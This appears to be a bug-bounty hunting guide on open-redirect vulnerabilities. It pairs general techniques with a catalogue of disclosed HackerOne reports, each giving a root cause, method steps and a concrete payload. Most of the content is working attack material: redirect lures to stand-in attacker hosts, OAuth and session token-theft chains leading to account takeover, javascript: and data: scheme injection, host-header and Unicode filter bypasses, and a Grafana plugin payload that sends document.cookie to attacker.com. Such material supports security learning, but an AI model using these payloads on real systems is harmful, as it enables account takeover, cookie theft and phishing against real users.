On its own a redirect is "just phishing," and that reflex closes it as low/informative. But the destination is the point: an open redirect sitting on an OAuth/login/reset origin is an account-takeover primitive, because auth flows hand the attacker's URL a live token — and when only the host is checked, the same sink also swallows non-http(s) schemes: javascript: executes as XSS in the origin, and data: renders attacker HTML inline. Treat every redirect param as a token-leak candidate, not a popup.
# Baseline confirmation — does an absolute external URL redirect off-site?
curl -sI 'https://TARGET/login?next=https://COLLAB' | grep -i location
curl -sI 'https://TARGET/logout?rurl=https://COLLAB' | grep -i location
# Tell: 30x Location: https://COLLAB, or a client-side location.href=COLLAB
Group your hunt by sink type — each behaves differently and fails differently.
The highest-value surface: a token frequently rides the redirect out. Params like next, return_to, ReturnUrl, redirect_after_login, callbackUrl, rurl, r, continue on /login, /logout, /forgot-password, and SSO/identity endpoints.
https://TARGET/login?next=https://COLLAB
https://TARGET/logout?rurl=https://COLLAB
https://auth.TARGET/login?redirectUrl=https://COLLAB&callbackUrl=https://COLLAB
GET /some/redirecting/path HTTP/1.1
Host: TARGET
X-Forwarded-Host: COLLAB
# also try: X-Host, X-Forwarded-Server, Forwarded
Avatar URLs, ad "Website URL" fields, social-media handle fields — rendered or fetched in another user's browser (often a support agent's). This escalates a redirect into victim-side SSRF-lite: IP/UA disclosure, forced-GET CSRF, DoS.
avatar = https://COLLAB/?https://cdn.TARGET/ # trusted CDN string in the query passes a contains() check
A host allowlist that forgets to constrain the scheme is a different bug in the same param.
Renders attacker markup under the trusted flow — potent right after a sensitive action (see #163067 post-reset phishing).
https://TARGET/forgot-password?next_url=data:text/html;base64,PGgxPnBoaXNoPC9oMT4=
Custom app schemes intercept tokens on mobile; browser-internal schemes reach privileged URLs (SOP/UXSS-class, far beyond ordinary redirect).
test://host steam:// intent:// # custom app scheme captures an appended token (#1178239)
chrome://restart/ file:// chrome://settings # privileged navigation (#1089995)
A bare redirect is phishing; the value is in the upgrade.
# OAuth: token lands in the fragment on the attacker origin (#905607)
https://auth.TARGET/login?redirectUrl=https://TARGET///COLLAB%2523&callbackUrl=https://TARGET///COLLAB%2523
# -> after login: https://COLLAB/#?token=<VICTIM_TOKEN>
# Login POST appends a single-use session token to the attacker ReturnUrl (#1544236)
POST /User/AuthenticateForms HTTP/1.1
Host: TARGET
__RequestVerificationToken=...&email=...&password=...&ReturnUrl=https://COLLAB
# -> GET /User/FrontDoorLogin/?token=<SESSION_TOKEN>&returnUrl=https://COLLAB
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 151 in this class.
Real-world example
Unescaped dot in redirect-allowlist regex -> auth-token leak -> 1-click ATO
◆ Critical
Specimen #3723458 · khanacademy · none · 108 votes · resolved
Program khanacademySurface webChain open redirect (regex bypass) -> transfer-auth token exfilTag account-takeover
Root cause
The redirect-URL allowlist regex left dots unescaped (uc.a.run.app), so '.' matched any char; an attacker registers a matching domain (uc-a-run.app), the cross-domain login flow mints a one-time transfer-auth token and redirects it to the attacker, who replays it for a full session.
Method
- Find the redirect/continue parameter that triggers cross-domain auth
- Recover the validation regex from a leaked JS sourcemap (cdn/...js.map -> libs/urls/src/regexp.ts)
- Spot unescaped dots; register a domain where hyphens satisfy the '.' wildcards (xfarr-6fmjyrz2lq-uc-a-run.app)
- Send victim login?continue=https://attacker-domain/
- Flow generates transfer_auth?key=<token> and redirects to attacker; token not consumed on attacker origin
- Replay ?key=<token> on a real *.khanacademy.org -> backend issues full session cookies (victim ATO)
Vulnerable: /(^|\.)(khanacademy\.(org|dev|test|local)|kastatic\.org|.*-6fmjyrz2lq-uc.a.run.app)$/
Attack domain: xfarr-6fmjyrz2lq-uc-a-run.app
Lure: https://classroom.khanacademy.org/login?continue=https%3A%2F%2Fxfarr-6fmjyrz2lq-uc-a-run.app%2F
Insight — Audit domain-allowlist regexes for unescaped dots and missing anchors - '.' matches any char, turning '.run.app' into a wildcard an attacker can register around. Pull JS .map files to recover the exact regex. Cross-domain 'transfer auth' tokens passed in URLs are replayable if not consumed on the receiving origin.
Real-world example
Auth token theft via unvalidated callbackUrl in email-signup flow
◆ Critical
Specimen #3419636 · lemlist · none · 60 votes · resolved
Program lemlistSurface webChain open redirect in verification -> auth token leak -> acTag account-takeover
Root cause
The email signup/verification flow reflects an attacker-controlled callbackUrl parameter without validation; on verification the app redirects to that URL carrying the user's auth tokens, handing them to the attacker's domain.
Method
- Start email signup for the victim with callbackUrl set to attacker.com
- Victim clicks the legitimate verification email link
- App completes verification and auto-redirects to attacker.com with auth tokens attached
- Attacker captures the tokens
https://TARGET/signup?...&callbackUrl=https://attacker.com/steal
Insight — Auth/verification flows that echo a return/redirect/callback URL are prime open-redirect-to-token-theft: tokens ride the redirect. Tamper callbackUrl/redirect_uri/next/returnTo in every signup, verify, and reset flow and watch where tokens land. (From program summary; body limited-disclosure.)
Real-world example
QR scanner auto-navigation without confirmation -> forced drive-by download
◆ High
Specimen #1946534 · brave · awarded · 148 votes · resolved
Program braveSurface mobile-androidChain malicious QR -> silent navigation -> forced file/APK dTag account-takeover
Root cause
The browser's built-in QR scanner opens the decoded URL automatically with no user confirmation, so a malicious QR silently navigates the victim and can even trigger unsolicited file/APK downloads (CVE-2023-28364).
Method
- Generate a QR encoding an attacker URL (page or direct file/APK link)
- Victim scans it with the in-app QR scanner
- Browser auto-navigates with no 'go to site' prompt; a direct download link fetches a file/APK without a click
QR payload: https://evil.example/ (or https://d.apkpure.com/.../app.apk to force an APK download)
Insight — Treat any client-side URL handler that auto-navigates decoded/received input (QR scanners, deep links, NFC, custom schemes) as an open-redirect surface; the escalation is forced drive-by download, not just phishing. Compare behavior against Chrome (which prompts) to demonstrate the missing confirmation.
Real-world example
@ (userinfo) injection into redirect_url to break host parsing
◆ High
Specimen #243474 · inflection · awarded · 72 votes · resolved
Program inflectionSurface webTag oauthTag account-takeover
Root cause
redirect_url is composed into a URL where an injected @ makes the intended trusted prefix the userinfo and the attacker host the real authority after login.
Method
- Locate login redirect_url pointing at an internal path
- Prefix an attacker host with @ (URL-encoded %40) so parser reads attacker host as authority
- Authenticate and land on attacker domain
...&redirect_url=%40google.com%2Fclient_id%253D... # @google.com becomes the host
Insight — Inject @ (and %40, %2540 double-encoded) into any redirect param that already contains a path; parsers that split on the first / but not the @ will resolve to your host.
Real-world example
Client-side redirect follows param before server-side linkshim check
◆ High
Specimen #1579374 · brave · awarded · 41 votes · resolved
Program braveSurface desktopTag account-takeover
Root cause
A browser's redirect handling navigated directly to the URL contained in a redirect-wrapper param (l.facebook.com/l.php?u=) without letting the origin server perform its allowlist/linkshim check, so server-side URL filtering was bypassed.
Method
- Take a link-wrapper URL whose safety depends on a server-side check (l.facebook.com/l.php?u=TARGET)
- Load it in the affected browser
- Browser issues the request straight to TARGET instead of to the wrapper host
https://l.facebook.com/l.php?u=https://attacker.example/
Insight — Browser prefetch/redirect optimizations can short-circuit server-side URL-safety gateways (linkshim, click-tracking allowlists). When testing redirect-wrapper endpoints, verify the request actually reaches the wrapper host; a client that jumps straight to the target defeats the entire server-side protection.
Real-world example
Header-driven navigation to privileged schemes (Onion-Location -> chrome:// / javascript:)
◆ High
Specimen #1089995 · brave · awarded · 40 votes · resolved
Program braveSurface desktopChain attacker header -> privileged-scheme navigation -> SOPTag account-takeover
Root cause
A browser feature navigated to the URL supplied in a server response header (Onion-Location) without restricting the scheme to http/https/.onion, so an attacker site could send chrome:// or javascript: values and reach privileged internal URLs, bypassing the same-origin policy.
Method
- Serve a page that returns the feature-triggering response header set to a privileged URL
- Trigger the feature (auto-redirect setting, or the address-bar button)
- The browser navigates to the privileged scheme (e.g. chrome://restart/)
<?php header("Onion-Location: chrome://restart/"); ?>
# also try javascript:, file:, chrome://settings
Insight — Any feature that navigates based on attacker-controlled input (response header, redirect param, deep link, meta refresh) must allowlist schemes. Test javascript:, data:, chrome:, file:, intent:. Reaching privileged/internal schemes is an SOP/UXSS-class bypass, far beyond ordinary open redirect.
Real-world example
Substring URL validation bypass on stored avatar -> IP leak + forced-logout DoS
◆ High
Specimen #1067809 · CS Money · USD 700 · 30 votes · resolved
Program CS MoneySurface webChain Broken URL allowlist -> stored payload rendered in agent
Root cause
The avatar URL was validated only by checking that it contained the CDN prefix as a substring; an attacker prepends their own host so the value passes validation but is loaded from an arbitrary URL in the support agent's browser.
Method
- Set the avatar cookie/field to a URL that contains the trusted CDN string but points elsewhere
- Start a support chat so the agent's browser renders your avatar
- Point the URL at your server to capture the agent's IP; or point it at the app's own logout URL to force-logout every online agent (DoS)
# IP disclosure:
avatar = https://ATTACKER/?https://steamcdn-a.akamaihd.net/steamcommunity/
# Forced-logout DoS:
avatar = https://cs.money/logout?https://steamcdn-a.akamaihd.net/steamcommunity/
Insight — Any URL allowlist using contains()/indexOf() instead of proper origin parsing is bypassable by placing the trusted string in the path/query of an attacker URL. Stored-and-rendered-to-another-user URLs escalate to victim-side SSRF-lite: IP/UA disclosure, CSRF (logout, state-changing GET), and DoS.
Real-world example
Framework open redirect in Rails actionable_exceptions (CVE-2020-8264)
◆ High
Specimen #904059 · rails · USD 1000 · 19 votes · resolved
Program railsSurface web
Root cause
Rails' ActionableExceptions middleware redirect_to used request.params[:location] verbatim in the Location header with no validation, so a POST to /rails/actions in dev/exception mode redirects anywhere.
Method
- Target a Rails app 6.0.0-6.0.3.1 with show_exceptions enabled
- Host an auto-submitting POST form to /rails/actions with a location param
- Victim submit yields a 302 to the attacker URL
<form method="post" action="http://TARGET/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=https://evil.com/">
<button type="submit">click!</button>
</form>
Insight — Patch-diffing the CVE-2020-8185 commit revealed a sibling unvalidated redirect. When a framework fixes one redirect, read the diff and audit adjacent handlers. This POST->GET redirect is also useful to bypass Referer checks / for SSRF, not just phishing.
Real-world example
Grafana path-traversal open redirect chained to stored XSS + full-read SSRF (CVE-2025-4123)
◆ High
Specimen #3286945 · deptofdefense · none · 15 votes · resolved
Program deptofdefenseSurface webChain path-traversal open redirect -> load external malicious pTag cloud-aws
Root cause
Grafana's /public/... redirect handler fails to sanitize path-traversal redirect targets; combined with plugin auto-loading from external sources it loads attacker JS into the trusted Grafana origin (stored XSS), and with the Image Renderer plugin escalates to full-read SSRF.
Method
- Send a path-traversal request to the public redirect endpoint to redirect to an attacker-hosted fake plugin repo
- Grafana loads the malicious plugin (plugin.json + malicious.js) in the trusted origin -> stored XSS steals session/cookies
- If Image Renderer is installed, point a panel image url at internal services -> Grafana fetches and returns content (full-read SSRF to cloud metadata)
GET /public/..%2F..%2F%3f%2F..%2F.. HTTP/1.1
Host: TARGET
# malicious plugin.json
{ "type":"panel", "name":"Evil Plugin", "id":"evil.plugin", "scripts":["malicious.js"] }
# malicious.js
fetch("https://attacker.com/log?c="+encodeURIComponent(document.cookie));
Insight — An open redirect in a plugin/asset loader is a launchpad: redirecting a trusted app to attacker-controlled code runs it in-origin (XSS), and a server-side fetcher (image renderer) turns it into SSRF for cloud metadata. Prereqs here: anonymous access on, Image Renderer installed, egress allowed.
Real-world example
Domain-suffix boundary bypass of a substring allowlist
◆ High
Specimen #1212337 · khanacademy · none · 13 votes · resolved
Program khanacademySurface webTag account-takeover
Root cause
A redirect allowlist that checks only for the presence of the substring 'khanacademy.org' with no boundary/anchor. Attacker registers a domain whose left label ends in the allowed string so the check passes but the effective host is attacker-controlled.
Method
- Find the redirect/continue param that validates against your target domain string.
- Register a domain that makes the allowed string a non-anchored substring, e.g. orghacker.com.br with a khanacademy subdomain.
- Point continue= at khanacademy.orghacker.com.br so the substring 'khanacademy.org' is present but the real host is orghacker.com.br.
https://www.khanacademy.org/signup?isteacher=1&referral=LearnStorm&continue=https://khanacademy.orghacker.com.br
Insight — When an allowlist uses substring/startsWith/contains instead of an anchored suffix match on a full parsed host, register attacker.com whose label ends in the allowed token (target.comattacker.com) or begins with it. Always re-test a 'fixed' redirect for boundary gaps.
Real-world example
Stored redirect via tamperable URL fields consumed by a privileged viewer
◆ High
Specimen #203726 · greenhouse · awarded · 9 votes · resolved
Program greenhouseSurface webTag file-upload
Root cause
An application flow stores a URL supplied by the user (resume_url/cover_letter_url, normally an S3 link set by the client) and later renders it as a clickable/download link for a privileged user, without validating that the URL points to the expected storage host.
Method
- Complete a flow that uploads-by-reference (client sends the storage URL, e.g. an S3 link) and intercept the submit.
- Replace job_application[resume_url] / [cover_letter_url] with an arbitrary attacker URL.
- The hiring manager later views/downloads the 'file' and is sent to the attacker URL (phishing/malware), while the UI shows the trusted S3 host.
POST /scout24/jobs/503488
...
Content-Disposition: form-data; name="job_application[resume_url]"
https://evil.example
...
Content-Disposition: form-data; name="job_application[cover_letter_url]"
http://evil.example
Insight — Hunt for URL-typed fields the client sets and the server later reflects to another user (upload-by-URL, avatar_url, resume_url, webhook targets). If the server does not pin them to an allowed host, you get a stored open redirect aimed at a higher-privilege victim. Remediation tell: value should be forced to grnhse-prod-*.s3.amazonaws.com.
Real-world example
URL-parser hostname confusion (url-parse) enabling allowlist bypass
◆ High
Specimen #384029 · nodejs-ecosystem · none · 8 votes · resolved
Program nodejs-ecosystemSurface webChain open redirect / SSRF / auth bypass via one parser bugTag supply-chain
Root cause
url-parse < 1.4.3 returns the wrong hostname for crafted URLs, so a security check that trusts the parsed host can be fooled while the browser/HTTP client resolves a different, attacker host. CVE-2018-3774. Enables open redirect, SSRF, and auth bypass.
Method
- Identify server code that parses a user URL with a library and gates a redirect/SSRF/auth decision on the parsed .hostname.
- Craft a URL the library and the real client disagree on (e.g. malformed authority, backslashes, extra @/: characters).
- Parser reports a trusted hostname; the actual navigation/fetch goes to the attacker host.
# concept: exploit parser-vs-browser disagreement, e.g.
http://trusted.com\@evil.com
http://evil.com\.trusted.com
# url-parse < 1.4.3 mis-extracts hostname; patched in 1.4.3 (commit 53b1794)
Insight — Never trust one URL parser's hostname for a security decision. Parser discrepancies between the validating library and the executing client are a reusable class spanning open redirect, SSRF allowlist bypass, and auth. Check library version and pass to a URL differential fuzzer.
Real-world example
url-parse protocol-validation fallback allows javascript: bypass (CVE-2020-8124)
◆ High
Specimen #496293 · nodejs-ecosystem · none · 6 votes · resolved
Program nodejs-ecosystemSurface webChain protocol-validation bypass -> javascript:/open-redirect p
Root cause
In the browser build, url-parse's extractProtocol falls back to document.location.protocol when the input doesn't match its protocol regex, so a malformed scheme like ' javascript:' (leading space) yields an empty/parsed protocol that bypasses caller sanitization checks.
Method
- Feed url-parse a URL with a leading space / malformed scheme, e.g. ' javascript:alert(1)'
- Parser fails the regex /^([a-z][a-z0-9.+-]*:)?(\/\/)?([\S\s]*)/i and sets protocol from location.protocol
- Caller logic that trusts the parsed protocol to block dangerous schemes is bypassed
parse.extractProtocol(' javascript:')
// expected {protocol:''} but browser build uses location.protocol -> validation bypass
Insight — When an app relies on a URL library to strip/validate dangerous schemes, test leading whitespace and malformed schemes; parser/environment differences (Node vs browser fallback to location.protocol) can smuggle javascript:/data: past sanitizers into DOM sinks or redirects.
Real-world example
Open redirect -> OAuth login-token theft via triple-slash bypass
◆ Medium
Specimen #905607 · cs_money · awarded · 356 votes · resolved
Program cs_moneySurface webChain open redirect -> OAuth redirectUrl -> token in fragmenTag open-redirectTag oauth
Root cause
cs.money accepts https://cs.money///evil.tld as a same-site-looking URL that redirects off-domain. Feeding that as the Steam-OAuth redirectUrl/callbackUrl sends the post-login token (in the fragment) to the attacker.
Method
- Confirm open redirect: https://cs.money///attacker.tld redirects off-site
- Take the site's sign-in URL (auth.dota.trade/login?redirectUrl=...&callbackUrl=...)
- Set redirectUrl/callbackUrl to cs.money///attacker.netlify.app%2523 (URL-encoded #)
- Victim logs in; token lands at attacker site in the fragment
https://auth.dota.trade/login?redirectUrl=https://cs.money///attacker.netlify.app%2523&callbackUrl=https://cs.money///attacker.netlify.app%2523
# after login: attacker.netlify.app/#?token=<VICTIM_TOKEN>
Insight — //, ///, backslashes and %2f tricks turn a 'same-domain' redirect into an off-site one. Any open redirect on the OAuth-trusted origin becomes an account takeover when the login flow returns the token in the URL/fragment.
Real-world example
Path-as-URL open redirect (host/http://evil.com/)
◆ Medium
Specimen #469803 · upserve · 1200 · 178 votes · resolved
Program upserveSurface webTag account-takeover
Root cause
Server treats a full URL embedded in the request path as a redirect target, so appending http://evil.com/ after the host issues a redirect there.
Method
- Append an absolute URL directly to the base path
- Request https://target/http://evil.com/
- Observe redirect to evil.com
https://inventory.upserve.com/http://stanko.sh/
Insight — Try smuggling a whole URL into the path (not just query params) on apps that do path-based routing/redirects; router 'catch-all to URL' handlers are a common open-redirect sink.
Real-world example
Logout/login flow redirect param (?logout=URL / rurl)
◆ Medium
Specimen #1788006 · expediagroup_bbp · 1000 · 169 votes · resolved
Program expediagroup_bbpSurface webTag account-takeover
Root cause
Logout (and login) endpoints take a post-action redirect value (logout=/rurl=) and honor an absolute external URL without validation.
Method
- Log out and watch for a redirect/return parameter (rurl, logout, next, returnUrl)
- Replace its value with an external https URL
- Confirm redirect after the logout completes
GET /?logout=https://qx4lw1nsec.blogspot.com HTTP/2
Host: www.expedia.com
Insight — Logout endpoints are frequently overlooked yet almost always carry a return-URL param; test them as first-class open-redirect surface, same as login return_to.
Real-world example
Payload/redirect delivery via unvalidated social-media handle URL construction
◆ Medium
Specimen #2483422 · security · awarded · 136 votes · resolved
Program securitySurface webChain unvalidated link -> off-site redirect / drive-by file dow
Root cause
Profile social-media fields take a username and build the outbound href from it, but sanitization is inconsistent (Twitter validated, other networks not), letting an attacker craft the handle so the resulting link points to an arbitrary URL — used to auto-download files or redirect off the trusted origin from a trusted-looking profile button.
Method
- Go to profile edit; for a non-validated social network, enter a handle that breaks out of the expected URL template (path/query chars within the ~25-char limit).
- View the public profile and click the social button — it navigates to / downloads from the attacker-controlled URL instead of the real network.
# social handle field abused so the generated href resolves to attacker content
# (e.g. a .zip auto-download or off-site redirect) instead of github.com/<user>
Insight — Anywhere an app turns a short user 'handle'/'username' into a full URL, test whether you can steer the resulting link off-domain — inconsistent validation across sibling fields (one network sanitized, others not) is the tell. Trusted profile/link widgets bypass download-warning UX and lend phishing credibility.
Real-world example
Login ReturnUrl leaks one-time session token to attacker domain
◆ Medium
Specimen #1544236 · insightly · awarded · 94 votes · resolved
Program insightlySurface webChain open redirect -> post-login token in URL -> account taTag account-takeover
Root cause
The login POST honors an attacker-set ReturnUrl to an arbitrary external domain, and the subsequent FrontDoorLogin redirect appends a one-time session token to that URL, delivering the victim's login token to the attacker.
Method
- Capture the login POST, change ReturnUrl=%2F to ReturnUrl=https://evil.com
- Server responds redirecting to /User/FrontDoorLogin/?token=<token>&returnUrl=https://evil.com
- Deliver the crafted flow to victim; their token lands on evil.com (single-use, regenerate per attack)
POST /User/AuthenticateForms
__RequestVerificationToken=...&email=...&password=...&ReturnUrl=https://evil.com&AppId=
-> GET /User/FrontDoorLogin/?token=<SESSION_TOKEN>&returnUrl=https://evil.com
Insight — An open redirect in a LOGIN flow is often a token-leak: check whether the post-login redirect carries an auth/session token in the URL to the attacker-controlled destination. That upgrades open-redirect to ATO.
Real-world example
Host / Forwarded header injection -> arbitrary redirect & cache poisoning
◆ Medium
Specimen #2627221 · rubygems · none · 74 votes · resolved
Program rubygemsSurface webTag cache
Root cause
The app reflects the client-supplied Host (or Forwarded: host=) value into a redirect Location without validation, so an attacker controls the destination domain.
Method
- Intercept any request to the target
- Add header 'Forwarded: host=evil.com' (or set Host: evil.com)
- Forward; the server issues a 3xx redirect to the attacker domain
GET / HTTP/1.1
Host: rubygems.org
Forwarded: host=evil.com
Insight — Fuzz Host, X-Forwarded-Host and Forwarded: host= on any endpoint that redirects or builds absolute URLs; a reflected value in Location = open redirect / cache poisoning / reset-link poisoning.
Real-world example
/..// path-traversal + double-slash defeats denylist redirect fix
◆ Medium
Specimen #3599248 · lovable-vdp · none · 72 votes · resolved
Program lovable-vdpSurface webTag account-takeover
Root cause
A prior fix denylisted /\ and /%5C; server normalizes /../ away and then treats the remaining //host as a protocol-relative external redirect.
Method
- Confirm target patched obvious // and /\ payloads
- Supply redirect=/..//evil.com
- Server normalizes /../ then redirects to //evil.com (external)
https://lovable.dev/auth/post-login?redirect=/..//google.com
Insight — Against a 'fixed' open redirect, combine path normalization (/..// , /./ , /%2e%2e/) with protocol-relative // to reconstruct an external host after the denylist check; denylists that don't run a real URL parser keep losing.
Real-world example
Interstitial/homograph fix bypass: IDN + extra slashes hide the real redirect host
◆ Medium
Specimen #271324 · security · awarded · 71 votes · resolved
Program securitySurface web
Root cause
The signed-redirect link displays the URL param to the user but the browser resolves an IDN differently; injecting extra // after the scheme makes the interstitial render a benign 'https:///www.yelp.com/' while the browser navigates to the punycode homograph host.
Method
- Post an IDN homograph URL so the platform signs it (stored as punycode)
- In the signed redirect URL, swap the punycode host back to its raw IDN form (signature still valid)
- Insert an extra // after https%3A%2F%2F
- Interstitial shows the spoofed benign domain; actual redirect goes to the homograph host
https://hackerone.com/redirect?signature=SIG&url=https%3A%2F%2F//www.%D1%83elp.com%2F
Insight — Signature/allow-list checks that operate on a normalized string but display/redirect a differently-parsed one are bypassable. Test URL fields with IDN homoglyphs, extra slashes, backslashes, and userinfo (@) to split the displayed host from the navigated host.
Real-world example
Chained open redirects + Ideographic Full Stop defeat a link deny-list
◆ Medium
Specimen #1032610 · x · USD 560 · 70 votes · resolved
Program xSurface webChain internal open redirect -> external open redirect -> fo
Root cause
A backend link deny-list is evaded by chaining a same-origin open redirect (login?redirect_after_login=) into an external open redirect and replacing ASCII periods with the Unicode Ideographic Full Stop, so the forbidden domain is not recognized by the filter but is normalized by the browser at navigation.
Method
- Replace every . in the target host with %E3%80%82 (Ideographic Full Stop)
- URL-encode and wrap it in an external open redirect (analytics.twitter.com ...rd=TARGET%3F)
- Wrap that in the internal login redirect (twitter.com/login?redirect_after_login=...)
- Post the twitter.com-prefixed URL; deny-list allows it, victim is redirected to the forbidden host with no interstitial
https://twitter.com/login?redirect_after_login=https%3A%2F%2Fanalytics.twitter.com%2Fdaa%2F0%2Fdaa_optout_actions%3Faction_id%3D4%26rd%3Dhttps%253A%252F%252Fddosecrets%2525E3%252580%252582com%253F
Insight — Deny/allow-list URL filters that don't Unicode-normalize can be beaten with alternate dot characters (U+3002, U+FF0E, U+FF61) and multi-hop open redirects that launder the final host. Prefix the chain with an in-scope trusted domain to also gain user trust.
Real-world example
Firebase Dynamic Links shortener as an open-redirect factory
◆ Medium
Specimen #1066410 · clario · 300 · 68 votes · resolved
Program clarioSurface webChain info disclosure (API key in JS) -> abuse Dynamic Links -&Tag account-takeover
Root cause
A leaked Firebase Dynamic Links API key plus a permissive shortening regex let anyone mint trusted-brand short links that redirect anywhere by embedding the brand path.
Method
- Grep target JS for firebasedynamiclinks.googleapis.com keys and the ?link= shortener endpoint
- Call shortLinks with your target URL, satisfying the regex by adding the brand path (e.g. /clario.co/)
- Distribute the brand-looking short link that redirects to attacker site
POST https://firebasedynamiclinks.googleapis.com/v1/shortLinks?key=LEAKED_KEY
# or: https://lnk.clario.co/?link=https://evil.com/clario.co/
Insight — Link shorteners / dynamic-link services fronted by a brand domain become open redirects when their regex/allowlist is loose and the API key is exposed in client JS; harvest keys from bundles and test the ?link= param.
Real-world example
Custom social-profile link field used as a payload-delivery redirect
◆ Medium
Specimen #3168691 · security · awarded · 67 votes · resolved
Program securitySurface webChain stored profile link -> auto-download / redirect gadgetTag account-takeover
Root cause
Social-media handle fields were concatenated into destination URLs without validating that the constructed path stayed on the intended platform, letting an attacker craft a link behind a trusted platform button that auto-downloads a file.
Method
- Edit profile and set a social handle that constructs a raw-file URL (e.g. GitHub raw .zip path)
- Publish profile
- Victim clicks the platform button and a file downloads with no warning
github handle -> https://github.com/USER/i/raw/i/i.zip # button links to arbitrary raw path
Insight — Profile 'social link' inputs are often template-joined (base + handle); inject path segments to reach raw/download endpoints or off-site redirects; also check that remediation actually purges already-stored malicious values.
Real-world example
Link-filter bypass with Unicode ideographic full stop (U+3002)
◆ Medium
Specimen #291750 · valve · awarded · 53 votes · resolved
Program valveSurface webTag account-takeover
Root cause
The linkfilter interstitial blocks a denylist of hosts but the browser/DNS treats the ideographic full stop as a label separator, so evil。com resolves as evil.com while evading string matching.
Method
- Confirm /linkfilter/?url=evil.com is blocked
- Replace the dot with U+3002 (%E3%80%82): evil%E3%80%82com
- Filter passes; browser normalizes to evil.com
https://steamcommunity.com/linkfilter/?url=pornhub%E3%80%82com
Insight — Unicode dot equivalents (U+3002 ideographic, U+FF0E fullwidth, U+FF61 halfwidth) and IDN normalization let a host slip past exact-string denylists yet still resolve; test them on any link-filter/redirect-warning gateway.
Real-world example
Open redirect to arbitrary URI scheme leaks access_token -> session takeover
◆ Medium
Specimen #1178239 · logitech · 200 · 49 votes · resolved
Program logitechSurface webChain open protocol redirect -> access_token exfil to maliciousTag oauthTag account-takeover
Root cause
An identity endpoint redirects an authenticated user to a caller-supplied protocol/scheme and appends the access_token; a malicious app registered for that scheme intercepts the token.
Method
- Call the identity redirect with r=<scheme>://host while authenticated
- Server responds redirecting to scheme://host?...access_token=...
- A malicious app handling that scheme (common on mobile) captures the token
- Replay the token in a browser to log in as the victim across the brand's domains
https://streamlabs.com/global/identity?popup=1&r=test://merch.streamlabs.com # response merges access_token into the redirect
Insight — When a redirect param accepts non-http(s) schemes and the flow attaches a token/secret, the bug escalates from phishing to full session/account takeover via scheme hijacking. Test custom-scheme and app-link redirects on SSO/identity endpoints; enforce an https-only + host allowlist.
Real-world example
Open redirect + content spoofing via X-Forwarded-Host
◆ Medium
Specimen #1444675 · omise · USD 300 · 49 votes · resolved
Program omiseSurface web
Root cause
The dashboard built the email-confirmation/redirect URL from the incoming Host / X-Forwarded-Host header without validation, so an attacker-supplied X-Forwarded-Host redirects users to an external site and injects spoofed content under the trusted domain.
Method
- Log in with an unverified email; reach the confirm/redirect flow
- Add X-Forwarded-Host: attacker.com to the request
- Follow the generated 'click here' link
- Redirects to attacker domain (and reflected text spoofs content)
GET /test/dashboard HTTP/1.1
Host: dashboard.omise.co
X-Forwarded-Host: bing.com
Insight — Password-reset/confirmation links and cache keys are frequently derived from Host/X-Forwarded-Host. Inject the header and watch where the value is reflected (link generation, redirects, cache). Chains to account takeover if it reaches reset links.
Real-world example
Redirect/XSS allowlist bypass via malformed concatenated URL
◆ Medium
Specimen #330008 · x · 1120 · 45 votes · resolved
Program xSurface webChain open redirect -> javascript: in Location -> reflected Tag account-takeover
Root cause
A redirect endpoint parsed a malformed path that concatenated the site's own host with an attacker target, defeating the same-origin check and placing an attacker-controlled value (including javascript:) directly into the 302 Location header.
Method
- Find the redirect endpoint's expected format (path-based sign-in redirect)
- Craft a path that repeats the trusted host then appends the attacker URL
- Observe Location: attacker-url; swap in javascript: for XSS
https://dev.twitter.com/web/sign-inhttps://dev.twitter.com/http://attacker.com/
https://dev.twitter.com/web/sign-inhttps://dev.twitter.com/javascript:alert(1)/
Insight — On redirect allowlists that only check for the trusted host substring, try doubling the trusted host and appending your target, and try javascript:/data: schemes; if the value lands unfiltered in Location it can be both open redirect and (client-following) XSS.
Real-world example
Framework open-redirect: Rails redirect_to protection bypass (CVE-2023-22797)
◆ Medium
Specimen #1865991 · ibb · 2400 · 43 votes · resolved
Program ibbSurface webTag supply-chain
Root cause
Rails 7.0 added open-redirect protection for redirect_to(user_input) via _url_host_allowed?, but the host check could be defeated by a carefully crafted URL, restoring the open redirect.
Method
- Find controllers doing redirect_to(params[:x]) on affected Rails (>=7.0.0, <7.0.4.1)
- Supply a crafted URL that satisfies the flawed host allowlist parse yet resolves externally
- Confirm external redirect
# vulnerable pattern:
redirect_to(params[:some_param])
# fixed in 7.0.4.1 (patch to _url_host_allowed?); full detail in report #1789458
Insight — Even framework-level anti-open-redirect helpers have parser-differential bypasses; when a target runs a specific Rails/Django/etc version, check the framework CVE feed and test redirect_to/HttpResponseRedirect sinks against the known bypass rather than assuming the guard is sufficient.
Real-world example
CSRF-delivered open redirect via hidden error-fallback form param
◆ Medium
Specimen #1257753 · reddit · awarded · 41 votes · resolved
Program redditSurface webChain CSRF -> open redirect (phishing delivery)Tag webhook
Root cause
A multipart form (Zendesk-style ticket submit) reflects hidden success/failed/redirect fields straight into a post-submit redirect. The 'failed' param takes an absolute attacker URL, and the form has no anti-CSRF binding, so it can be auto-submitted from a hostile page.
Method
- Find a form that posts to a handler and carries hidden routing fields (success, failed, redirect, return, next).
- Set the failed (error-fallback) field to an absolute attacker URL, e.g. http://COLLAB.
- Build a Burp CSRF PoC that auto-submits the multipart form so a victim clicking a link triggers the redirect.
------------BOUNDARY
Content-Disposition: form-data; name="failed"
http://COLLAB
------------BOUNDARY
Content-Disposition: form-data; name="success"
thank-you/step-1
------------BOUNDARY--
Insight — Contact/ticket forms and Zendesk integrations hide their redirect targets in success/failed/redirect fields. These are user-controllable open-redirect sinks and, absent CSRF tokens, can be fired at a victim with a single form auto-submit.
Real-world example
Exported browsable WebView activity loads attacker-supplied URL (open redirect + JS injection)
◆ Medium
Specimen #2555949 · deptofdefense · none · 41 votes · resolved
Program deptofdefenseSurface mobile-androidChain exported component -> WebView URL load -> open redirecTag account-takeover
Root cause
A WebViewActivity is exported and marked browsable, and it loads the URL from an intent extra (or intent scheme S.URL=) without scheme/host validation. Any app or web link can drive the WebView to an arbitrary https:// page or a javascript: URI, yielding open redirect and script execution in the app WebView context.
Method
- Decompile the APK; find an exported activity with a browsable intent-filter that reads a URL from getIntent extras.
- Trigger it via adb, an intent:// deep link in a web page, or a malicious app's startActivity.
- Supply an https:// URL for open redirect, or a javascript: URI for XSS/cookie theft inside the WebView.
adb shell am start -n PKG/COMP.WebviewActivity --es URL "https://ATTACKER"
